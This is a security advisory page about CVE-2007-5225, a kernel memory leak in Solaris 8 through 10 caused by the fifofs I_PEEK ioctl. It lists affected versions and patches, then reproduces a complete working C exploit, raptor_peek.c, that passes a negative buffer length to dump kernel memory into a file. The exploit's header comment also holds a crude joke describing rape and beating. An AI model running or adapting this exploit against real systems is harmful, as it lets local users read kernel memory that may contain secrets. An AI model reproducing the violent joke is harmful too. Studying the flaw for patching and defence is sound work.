SecuriTeam - Solaris fifofs I_PEEK Kernel Memory Leak

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An integer signedness error in FIFO filesystems (named pipes) on Sun Solaris 8 through 10 allows local users to read the contents of unspecified memory locations via a negative value to the I_PEEK ioctl.

Credit:
The information has been provided by Marco Ivaldi.
The original article can be found at: http://www.milw0rm.com/exploits/5227

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Vulnerable Systems (SPARC):
* Solaris 8 without patch 109454-06 [tested]
* Solaris 9 without patch 117471-04 [tested]
* Solaris 10 without patch 127737-01 [tested]

Vulnerable Systems (x86):
* Solaris 8 without patch 109455-06 [untested]
* Solaris 9 without patch 117472-04 [untested]
* Solaris 10 without patch 127738-01 [untested]

CVE Information:
CVE-2007-5225

Exploit:
/*
* $Id: raptor_peek.c,v 1.1 2007/10/18 08:09:02 raptor Exp $
*
* raptor_peek.c - Solaris fifofs I_PEEK kernel memory leak
* Copyright (c) 2007 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* [Lame] integer signedness error in FIFO filesystems (named pipes) on Sun
* Solaris 8 through 10 allows local users to read the contents of unspecified
* memory locations via a negative value to the I_PEEK ioctl (CVE-2007-5225).
*
* /\ AS PART OF A VAST WORLD-WIDE CONSPIRACY
* hjm / \ I COMMAND THEE: BEAT OFF UNTO ME
* /,--.\
* /< () >\ IF I SAY "FNORD" AT THE END OF A SENTENCE
* / `--' \ DOES THAT MAKE ME REALLY FUNNY OR SOMEONE
* / \ WHO NEEDS TO GET FUCKING BEATEN TO NEAR
* / \ DEATH AND THEN RAPED WITH A BROOM
* /______________\
* AS YOU CAN SEE THAT'S REALLY TWO JOKES IN ONE
* SO YOU REALLY GET YOUR MONEY'S WORTH HERE
* Usage:
* $ gcc raptor_peek.c -o raptor_peek -Wall
* $ ./raptor_peek kerndump 666666
* [...]
* $ ls -l kerndump
* -rwx------ 1 raptor staff 666666 Oct 17 19:33 kerndump
*
* Vulnerable platforms (SPARC):
* Solaris 8 without patch 109454-06 [tested]
* Solaris 9 without patch 117471-04 [tested]
* Solaris 10 without patch 127737-01 [tested]
*
* Vulnerable platforms (x86):
* Solaris 8 without patch 109455-06 [untested]
* Solaris 9 without patch 117472-04 [untested]
* Solaris 10 without patch 127738-01 [untested]
*/

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <stropts.h>
#include <unistd.h>
#include <sys/stat.h>

#define INFO1 "raptor_peek.c - Solaris fifofs I_PEEK kernel memory leak"
#define INFO2 "Copyright (c) 2007 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define BADFIFO "/tmp/fnord"
#define BUFSIZE 1000000

int errno;

int main(int argc, char **argv)
{
int fd, fifo;
size_t out, bufsize = BUFSIZE;
char *buf;
struct strpeek peek;

/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

/* read command line */
if (argc < 2) {
  fprintf(stderr, "usage: %s outfile [outsize]\n\n", argv[0]);
  exit(1);
}
if (argc > 2)
  if ((bufsize = atoi(argv[2])) == 0) {
   fprintf(stderr, "Error (atoi): invalid outsize\n");
   exit(1);
  }

/* print some output */
fprintf(stderr, "Using outfile\t: %s\n", argv[1]);
fprintf(stderr, "Using outsize\t: %u\n\n", bufsize);

/* prepare the output buffer */
if ((buf = (char *)malloc(bufsize)) == NULL) {
  perror("Error (malloc)");
  fprintf(stderr, "Hint: Try again with a smaller output size\n");
  exit(1);
}
memset(buf, 0, bufsize);

/* create the named pipe */
unlink(BADFIFO);
if (mknod(BADFIFO, S_IFIFO | S_IRWXU, 0) < 0) {
  perror("Error (mknod)");
  exit(1);
}

switch(fork()) {
case -1: /* cannot fork */
  perror("Error (fork)");
  exit(1);
case 0: /* the child writes */
  if ((fifo = open(BADFIFO, O_WRONLY, 0)) < 0) {
   perror("Error (open)");
   exit(1);
  }
  write(fifo, "FNORD", 5);
  exit(0);
default: /* the parent reads */
  /* FALL THROUGH */
  ;
}

/* perform the MAGICK */
if ((fifo = open(BADFIFO, O_RDONLY, 0)) < 0) {
  perror("Error (open)");
  exit(1);
}

memset(&peek, 0, sizeof(peek));
peek.databuf.buf = buf;
peek.databuf.maxlen = -1; /* FNORD! */

if (ioctl(fifo, I_PEEK, &peek) < 0 ) {
  perror("Error (ioctl)");
  close(fifo);
  exit(1);
}

/* save output to outfile */
if ((fd = open(argv[1], O_RDWR | O_CREAT | O_TRUNC, 0700)) < 0) {
  perror("Error (open)");
  close(fifo);
  exit(1);
}
out = write(fd, buf, bufsize);

fprintf(stderr, "FNORD! %u bytes written to %s\n", out, argv[1]);
fprintf(stderr, "Hint: Try also with a bigger output size\n");

/* cleanup (who cares about free?;) */
close(fd);
close(fifo);

exit(0);
}

// milw0rm.com [2008-03-10]

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